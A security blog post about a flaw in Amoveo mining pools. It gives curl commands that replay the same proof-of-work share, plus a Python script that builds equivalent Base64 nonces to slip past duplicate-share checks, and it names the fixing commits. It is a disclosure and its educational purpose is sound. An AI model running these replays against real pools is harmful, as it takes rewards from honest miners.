essays on the failure of machines
20 Nov 2018 · 676 words · 4 min

Duplicating work shares in Amoveo mining pools

contents 2 sections

Sending duplicated proofs of work

The zack-bitcoin/amoveo-mining-pool software didn’t check for the same PoW shares being sent multiple times, which made it possible to steal funds from a mining pool. I modified the VeoCL OpenCL miner to print the nonce every time one is found:

diff --git a/client.c b/client.c
index 7633731..8c4fad3 100644
--- a/client.c
+++ b/client.c
@@ -268,6 +270,8 @@ int submitnonce(char *nonce) {
        nonce64[olen] = 0;

        sprintf(buffer, "POST %s HTTP/1.1\r\ncontent-type: application/octet-stream\r\ncontent-length: %i\r\nhost: %s:%i\r\nconnection: close\r\n\r\n[\"work\",\"%s\",\"%s\"]", workPath, 14 + (int)strlen(address) + olen, hostname, poolport, nonce64, address);
+       printf("nonce64: %s\n", nonce64);

Then you can send the duplicated work using curl:

curl -XPOST -i examplepool.com:8880/work -d '["work", nonce, veo_address_to_claim_shares]'

For example:

curl -XPOST -i examplepool.com:8880/work -d '["work","RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvN=","BAM2wai15fg4GuDl5P+bcwrVUM352djvd9PeExrluvVywxPjZPr8QQcgI7NBzrk5c0sby+6NrS8Xs/cWg/2cI20="]'

One share, paid for three times

The miner does the work once and sends the same request three times. The pool checks that the proof of work is valid, but not whether it has seen it before.

minerrequest to /workbefore fixafter fix finds a nonce["work","RF3g…WvN=",addr]+1+1 replays itthe same body+1rejected replays itthe same body+1rejected totalone nonce's worth of hashing3 shares1 share
The pool splits its rewards by shares, so every replayed share is paid for out of the honest miners' part. A loop around curl can replay a nonce as often as the attacker likes.

It was fixed in commits f69a0d8b83def09f29018cfa380a5c73e639906c and ad9bfc31696b5d8d4412c2ec9f24537944aeb5ec.

Bypassing the mechanism detecting duplicate shares

Some mining pools use custom pool implementations, and they mark duplicated shares as invalid.

However, they only verify that the Base64-encoded nonces are not duplicated, and given that Base64 b64decode is not an injective function (many arguments map to the same result) because of how padding in Base64 works, it’s possible to generate multiple duplicates. Depending on the implementation, it’s also possible to add any number of whitespace characters anywhere, as they are stripped before the actual decoding. An example in Python:

In [1]: from base64 import b64decode
In [2]: b64decode("JTaERQAA AADCVTcjAAAAA AA\nfWAAAU8u=") == b64decode("JTaERQAAAADCVTcjAAAAAAAfWAAAU8u=")
Out[2]: True

Where the spare bits are

Base64 turns every 4 characters into 3 bytes. The nonce is 23 bytes long, which leaves the last group one byte short: its 3 characters carry 18 bits but only 2 bytes (16 bits) come out. The decoder ignores the 2 bits left over.

char6 bitslast 2 bytesresult
s101100… 53 cbthe original
t101101… 53 cbsame nonce
u101110… 53 cbsame nonce
v101111… 53 cbsame nonce
r101011… 53 cadifferent nonce
w110000… 53 ccdifferent nonce
The first 28 characters decode to the first 21 bytes as usual, and only the character before the = has room to spare. Its 2 low bits give every such nonce 4 spellings, which is what the script below finds. With two = signs there would be 4 spare bits and 16 spellings.

I created a sample Python script to brute-force a few possible Base64 strings with modified padding.

from base64 import b64decode

def find_duplicate_nonces(nonce):
    print("[+] Finding duplicates for nonce %s" % (nonce))
    pos = -2

    for diff in list(range(-4,0)) + list(range(1,5)):
        nonce_copy = list(nonce)
        nonce_copy[pos] = chr(ord(nonce[pos])+diff)
        nonce_copy = ''.join(nonce_copy)
        try:
            equal = (b64decode(nonce) == b64decode(nonce_copy))
        except:
            continue
        if equal:
            print(nonce_copy)

find_duplicate_nonces("JTaERQAAAADCVTcjAAAAAAAfWAAAU8s=")
find_duplicate_nonces("RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvN=")

[+] Finding duplicates for nonce JTaERQAAAADCVTcjAAAAAAAfWAAAU8s=
JTaERQAAAADCVTcjAAAAAAAfWAAAU8t=
JTaERQAAAADCVTcjAAAAAAAfWAAAU8u=
JTaERQAAAADCVTcjAAAAAAAfWAAAU8v=
[+] Finding duplicates for nonce RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvN=
RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvM=
RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvO=
RF3g5QAAAAC0kCpAAAAAAAA9sAAAWvP=

Five strings, one piece of work

The pool looks for duplicates in the strings it receives, but checks the proof of work on the bytes they decode to.

string sentseen before?decodes to JTaERQAAAADCVTcjAAAAAAAfWAAAU8s=no, +1 share25 36 84 45 … 53 cb JTaERQAAAADCVTcjAAAAAAAfWAAAU8t=no, +1 share25 36 84 45 … 53 cb JTaERQAAAADCVTcjAAAAAAAfWAAAU8u=no, +1 share25 36 84 45 … 53 cb JTaERQAAAADCVTcjAAAAAAAfWAAAU8v=no, +1 share25 36 84 45 … 53 cb JTaERQAA␣AADCVTcjAAAAA␣AA↵fWAAAU8u=no, +1 share25 36 84 45 … 53 cb 5 different strings5 shares1 nonce
␣ is a space and ↵ a newline. Python's b64decode drops any character outside the Base64 alphabet unless called with validate=True, and whitespace can go anywhere, so the list has no end. Comparing the decoded bytes instead would catch every one of them.

Then, once again, you can submit your shares to the pool endpoint:

curl -XPOST -i examplepool.com:8880/work -d '["work", nonce, veo_address_to_claim_shares]'